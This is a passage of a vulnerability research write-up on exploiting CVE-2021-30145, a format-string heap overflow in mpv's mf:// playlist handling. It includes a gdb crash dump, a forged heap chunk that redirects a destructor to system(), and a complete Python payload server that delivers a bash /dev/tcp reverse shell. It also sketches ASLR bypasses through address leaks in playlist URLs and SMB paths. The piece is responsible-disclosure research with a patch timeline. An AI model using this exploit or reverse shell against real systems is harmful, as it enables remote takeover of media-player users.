[mf] number of files: 0

Thread 4 "mpv/opener" received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0xdeadbeef
RBX: 0x7fffe4001500 --> 0x5555556b95a0 --> 0x555555666d36 --> 0x6567616d6900666d ('mf')
RCX: 0x1
RDX: 0x0
RSI: 0x7fffe400cf50 --> 0x0
RDI: 0x7fffe400eb20 --> 0x7fffe400e6f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
RBP: 0x7fffe400eb20 --> 0x7fffe400e6f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
RSP: 0x7fffebcaf0d8 --> 0x55555565e40d (<ta_free+45>:   mov    rdi,rbp)
RIP: 0xdeadbeef
R8 : 0x0
R9 : 0x1
R10: 0x1
R11: 0x0
R12: 0x7fffe400ead0 ("        ")
R13: 0x7fffe40016f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
R14: 0x55555572b320 --> 0x55555572b5d0 --> 0x55555572b460 (0x000055555572b320)
R15: 0x5555556b95a0 --> 0x555555666d36 --> 0x6567616d6900666d ('mf')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0x7fffebcaf0d8 --> 0x55555565e40d (<ta_free+45>:  mov    rdi,rbp)
0008| 0x7fffebcaf0e0 --> 0x7fffe40016f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
0016| 0x7fffebcaf0e8 --> 0x7fffe4001500 --> 0x5555556b95a0 --> 0x555555666d36 --> 0x6567616d6900666d ('mf')
0024| 0x7fffebcaf0f0 --> 0x7fffe40014b0 --> 0xf8
0032| 0x7fffebcaf0f8 --> 0x55555565e5b9 (<ta_free_children+41>: mov    rdi,QWORD PTR [rbx-0x38])
0040| 0x7fffebcaf100 --> 0x7fffebcaf260 --> 0xc2f000000 ('')
0048| 0x7fffebcaf108 --> 0x55555565e415 (<ta_free+53>:  mov    rdi,rbp)
0056| 0x7fffebcaf110 --> 0x7fffe400eb20 --> 0x7fffe400e6f0 --> 0x55555572b460 --> 0x55555572b320 --> 0x55555572b5d0 (0x000055555572b460)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000deadbeef in ?? ()
```

We successfully control the instruction pointer. Though the context is not very opportune. At this point we only control the `RIP`, but no other registers. Since we are not directly interacting with the program, we cannot simply use a `one_gadget`. My first idea was to find a gadget, which will change `RSP` and `R12`, because it seems that we can control the content the pointer in `R12` is referencing (spaces from padding: " "). If `RSP` would be set to this address, we could store a more complex ROP chain there. Nevertheless I didn't find a suitable gadget.

By reading the source code again I came up with another idea. Let's have a look at `ta_free` again:

```
    struct ta_header *h = get_header(ptr);
    if (!h)
        return;
    if (h->destructor)
        h->destructor(ptr);
    ta_free_children(ptr);
    ta_set_parent(ptr, NULL);
    ta_dbg_remove(h);
    free(h);
}
```

After the `destructor` call the function `ta_free_children` is called, which is obviously responsible for free'ing a child chunk. The function retrieves the `child` pointer within the `ta_header` and also passes it to `ta_free`, if it is set:

```
void ta_free_children(void *ptr)
{
    struct ta_header *h = get_header(ptr);
    while (h && h->child)
        ta_free(PTR_FROM_HEADER(h->child));
}
```

This enables another strategy: instead of directly overwriting the `destructor` pointer, we can overwrite the `child` pointer with the address of a forged fake chunk. For this fake chunk we set the `destructor` pointer to the function address of `system` and store a command of our choice in the actual data. When `ta_free` is called for this child, the `ptr` points to the command. This `ptr` is passed as the first argument to the `destructor`, which is `system`. This way we can run arbitrary commands through `system`. This is very similar to a glibc heap exploit, where `__free_hook` is set to `system` and a chunk is free'd, which contains the command to be executed.

Storing the fake chunk in the URL is not a very good option, because editing the URL also results in another allocation size. This possibly causes the chunk to end up in another heap location. Also we must use the format specifier `%4$c` in order to write a single null byte. A more suitable place for the fake chunk is the HTTP response we send. We can simply insert a custom HTTP header, which is not evaluated by the target application and only serves the purpose of delivering our fake chunk to the memory of the application. The adjustments in the script look like this:

```
...

playlist  = b'mf://'
playlist += b'%390c%c%c'
playlist += b'\x58\x1e%4$c\xe4\xff\x7f' # overwriting child addr with fake child

SYSTEM_ADDR = 0x7ffff5c37410
CANARY      = 0xD3ADB3EF

fake_chunk  = p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name

d  = b'HTTP/1.1 200 OK\r\n'
d += b'Content-type: audio/x-mpegurl\r\n'
d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
d += b'PL: '
d += fake_chunk
d += b'gnome-calculator\x00'
d += b'\r\n'
d += b'\r\n'
d += playlist
...
```

The padding has changed to `%390c`, since we are now targeting the `child` member of the `ta_header`. This pointer is overwritten with the static address `0x7fffe4001e58` (ASLR is disabled!), which references the fake chunk stored in the HTTP response. The `destructor` of the fake chunk is set to `system`. Also `canary` is set to the required value `0xD3ADB3EF` (this is important for the validation check within `ta_dbg_check_header`). The command to be executed is set to `gnome-calculator` to spawn a calculator.

In order to trigger the exploit, we run the payload serving script and start mpv with the malicious playlist URL:

```python
#!/usr/bin/env python3

import socket
from pwn import *
from threading import Thread

LHOST = 'localhost'
LPORT = 9001

SRVHOST = 'localhost'
SRVPORT = 7000

OFFSET = 390 # padding to overflow heap
CANARY = 0xD3ADB3EF
SYSTEM_ADDR = 0x7ffff5c37410
PAYLOAD = 'bash -c "bash -i >& /dev/tcp/'+LHOST+'/'+str(LPORT)+' 0>&1"\x00'


class RevShellHandler(Thread):

  def run(self):
    while True:
      io = listen(LPORT, LHOST)
      io.wait_for_connection()
      io.interactive()


class PayloadHandler(Thread):

  def run(self):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((SRVHOST, SRVPORT))
    s.listen(5)
    log.info('ready to serve payload on http://'+SRVHOST+':'+str(SRVPORT)+'/x.m3u')
    while True:
      c, a = s.accept()
      self.handle_client(c, a)

  def handle_client(self, c, a):
    log.warn('serving payload to '+a[0]+':'+str(a[1]))
    playlist  = b'mf://'
    playlist += b'%'+str(OFFSET).encode()+b'c%c%c'
    playlist += b'\x58\x1e%4$c\xe4\xff\x7f' # overwriting child addr with fake child

    fake_chunk  = p64(0) # size
    fake_chunk += p64(0) # prev
    fake_chunk += p64(0) # next
    fake_chunk += p64(0) # child
    fake_chunk += p64(0) # parent
    fake_chunk += p64(SYSTEM_ADDR) # destructor
    fake_chunk += p64(CANARY) # canary
    fake_chunk += p64(0) # leak_next
    fake_chunk += p64(0) # leak_prev
    fake_chunk += p64(0) # name

    d  = b'HTTP/1.1 200 OK\r\n'
    d += b'Content-type: audio/x-mpegurl\r\n'
    d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'
    d += b'PL: '
    d += fake_chunk
    d += PAYLOAD.encode()
    d += b'\r\n'
    d += b'\r\n'
    d += playlist

    c.send(d)
    c.close()

reh = RevShellHandler()
reh.start()
plh = PayloadHandler()
plh.start()
```

The script in action:

In this section we will take a look at possibilities to bypass ASLR and briefly determine how the situation is on Windows from an exploit development point of view.

### ASLR bypass

After having verified that we can gain arbitrary code execution on Linux with `ASLR` disabled, let's think about how `ASLR` might be bypassed.

What makes this challenging is that the attack vector seems to be a one-shot: the targeted client requests the malicious playlist from us and we serve the payload in form of the `mf://` URL. The communication ends here and there seems to be no way we could get an address leak required to bypass `ASLR`. Though this is not totally true. The word `playlist` implies that this file is a list. We can not only store one malicious `mf://` URL, but for example an additional `http://` URL like this:

```
mf://<EVIL>
http://attacker/xyz
```

Before the first entry in the playlist (`mf://<EVIL>`) is evaluated, the whole playlist is parsed. This includes allocating chunks for all entries within the playlist. After this the entries are evaluated or fetched one after another. Using the `mf://<EVIL>` entry we can leverage the heap overflow in order to overwrite the second playlist entry, which is the `http://attacker/xyz` URL to fetch next. If we change this URL to contain an address from the application, we retrieve this address via HTTP as soon as the client requests it. The challenge here is to groom the heap, so that the chunk allocated for the `__sprintf_chk` destination is right before the chunk allocated for the `http://attacker/xyz` URL to fetch.

The next question is how do we use the leaked address without the requirement of having to manually open yet another malicious playlist URL? The answer to this is straightforward: we simply use a cascade by additionally providing the URL to another playlist `.m3u` file:

```
mf://<EVIL>
http://attacker/xyz
http://attacker/stage2.m3u
```

This way the `stage2.m3u` playlist will be requested after the `http://attacker/xyz` request and its content will be evaluated just like the playlist before. This time the `stage2.m3u` playlist file can contain our original exploit to gain code execution, but is created on the fly to contain the correct addresses based on the first HTTP request (`http://attacker/xyz`), which leaked the applications addresses.

### Windows

mpv is available for a wide variety of operation systems, but let's have at least a brief look at Windows.

Although I didn't dig deep into developing an exploit for Windows yet, I assume that the conditions are far more in our favor here. One reason for this is that there is no `FORTIFY_SOURCE` by default. Thus we are able to use the `%n` format specifier in order to write to memory. What makes it a little less comfortable is that there are no argument selectors (e.g. `%4$c`).

There is another interesting Windows specific aspect when using the `mf://` protocol. On Linux we can reference the local file `/tmp/test.jpg` by providing `mf:///tmp/test.jpg`. On Windows we would use `mf://C:\Windows\Temp\test.jpg` in order to reference the file `C:\windows\Temp\test.jpg`. When dealing with file paths like this, it is sometimes possible to increase the exploitation possibilities on Windows by using UNC paths. This is totally true here, because we can actually use a UNC path within the `mf://` protocol handler. Also we can provide format specifiers in the requested UNC path. This means that we can easily leak addresses via SMB:

This possibility makes it even more easy to bypass ASLR on Windows.

## Conclusion

The exciting aspect of memory corruption vulnerabilities is that they arise a lot of opportunities, which oftentimes can be turned into code execution by putting enough work into it.

Even with mitigations like `FORTIFY_SOURCE` the impact of a format string vulnerability is most probably severe. In this case the implicitly deduced heap overflow allows an attacker to gain arbitrary code execution on Linux. Also there are ways to bypass ASLR and probably also develop an exploit for other operating systems.

**Timeline**
03 April 2021 – Vendor Notification
03 April 2021 – Vendor Acknowledgement
05 April 2021 – Vendor Patch
12 April 2021 – Public Disclosure



ARTICLE
CVE-2021-30145, EXPLOITATION, FORMATSTRING, HEAP, LINUX, X64